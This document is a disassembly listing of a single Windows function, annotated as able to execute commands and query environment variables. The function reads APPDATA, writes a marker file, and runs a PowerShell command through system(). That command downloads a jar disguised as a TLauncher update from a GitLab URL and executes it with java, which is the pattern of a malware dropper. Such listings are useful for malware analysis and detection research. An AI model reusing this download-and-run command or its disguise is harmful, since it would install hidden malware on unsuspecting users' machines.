Function at 0x140003730
Capabilities:
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor r13d, r13d
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rcx, [0x1400099e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400037b0
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140005fe0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp - 0x40]
sub rax, r14
cmp rax, 5
jb 0x140003db1
lea r12, [rbp - 0x50]
mov rsi, qword [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea r15, [r14 + 5]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
movabs rax, 0x8000000000000000
lea edx, [rbx + 7]
cmp r15, rbx
jbe 0x140003891
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003857
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140007110
test rax, rax
je 0x140003c9f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000388c
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000387a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003d88
jmp 0x140003838
test rcx, rcx
je 0x140003889
call fcn.140007110
mov rdi, rax
jmp 0x14000388c
mov rdi, r13
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str._tool]
mov dword [r14 + rdi], eax
movzx eax, byte [0x140009ad4]
mov byte [r14 + rdi + 4], al
mov byte [rdi + r15], 0
mov r13, qword [rbp - 0x80]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0xb
jb 0x140003db7
lea r15, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r15, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xor r12d, r12d
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
lea r14, [r13 + 0xb]
mov ebx, 0xf
lea rdi, [rbp - 0x70]
cmp r14, rbx
jbe 0x14000398f
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003950
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140007110
test rax, rax
je 0x140003c50
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000398b
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003979
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003d8e
jmp 0x140003931
test rcx, rcx
je 0x140003988
call fcn.140007110
mov rdi, rax
jmp 0x14000398b
mov rdi, r12
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
mov r8, r13
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.check.tool]
movsd qword [rdi + r13], xmm0
movzx eax, word [0x140009ae0]
mov word [rdi + r13 + 8], ax
movzx eax, byte [0x140009ae2]
mov byte [rdi + r13 + 0xa], al
mov byte [rdi + r14], r12b
mov rdi, qword [rbp - 0x60]
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
call fcn.140006a8c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.140001a10
nop
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x30]
call fcn.140006c40
mov r8d, eax
test eax, eax
jne 0x140003a79
mov edx, dword [rbp - 0x20]
test dl, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x64], ecx
bt edx, 0xa
jae 0x140003a6b
mov eax, dword [rbp - 0x1c]
cmp eax, 0xa000000c
jne 0x140003a5d
lea eax, [r8 + 4]
jmp 0x140003a9d
cmp eax, 0xa0000003
jne 0x140003a6b
mov eax, 0xa
jmp 0x140003a9d
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x140003a9d
mov dword [rsp + 0x64], 0xffff
sub eax, 2
je 0x140003a98
sub eax, 1
je 0x140003a98
sub eax, 0x32
je 0x140003a98
cmp eax, 0x46
mov eax, r12d
jne 0x140003a9d
mov eax, 1
mov dword [rsp + 0x60], r8d
lea r14, [0x14000e088]
mov qword [rsp + 0x68], r14
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
test eax, eax
je 0x140003b03
cmp eax, 1
sete bl
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140003b15
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov bl, 1
test r8d, r8d
jne 0x140003d94
jmp 0x140003ac3
call fcn.140007154
test bl, bl
je 0x140003dab
mov rdi, qword [rbp - 0x80]
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
call fcn.140006a8c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.140001a10
nop
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r14
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400024d0
cmp dword [rsp + 0x60], 0
jne 0x140003dbd
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140003bbb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003bb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007154
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x10]
call fcn.1400050c0
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
cmp qword [rbp + 0x78], 0
jne 0x140003d2c
lea rcx, [rbp - 0x10]
call fcn.140003de0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003c5c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007154
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140003cab
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ca6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ca6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007154
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rax, qword [rbp - 0x38]
cmp rax, 0xf
jbe 0x140003cfa
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003cf2
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003cf2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140007154
xor eax, eax
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.1400070f0
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, str.true
lea rcx, [rbp - 0x10]
call fcn.140005810
lea rcx, [rbp - 0x10]
call fcn.140004b00
lea rdx, str.__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005810
lea rdx, [0x1400059e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.powershell__command___Invoke_WebRequest__Uri_https:__gitlab.com_marikneloh_ssl___raw_main_TlauncherUpdate.jar__OutFile___env:tempTlauncherUpdate.jar___Start_Process__FilePath_java__ArgumentList__jar____env:tempTlauncherUpdate.jar__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400099e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140002a30
nop
call fcn.140001110
nop
call fcn.140001110
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, str.exists
call fcn.140002470
nop
call fcn.140002a30
nop
call fcn.1400011b0
nop
call fcn.1400011b0
nop
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
lea rcx, str.create_directories
call fcn.140002470
int3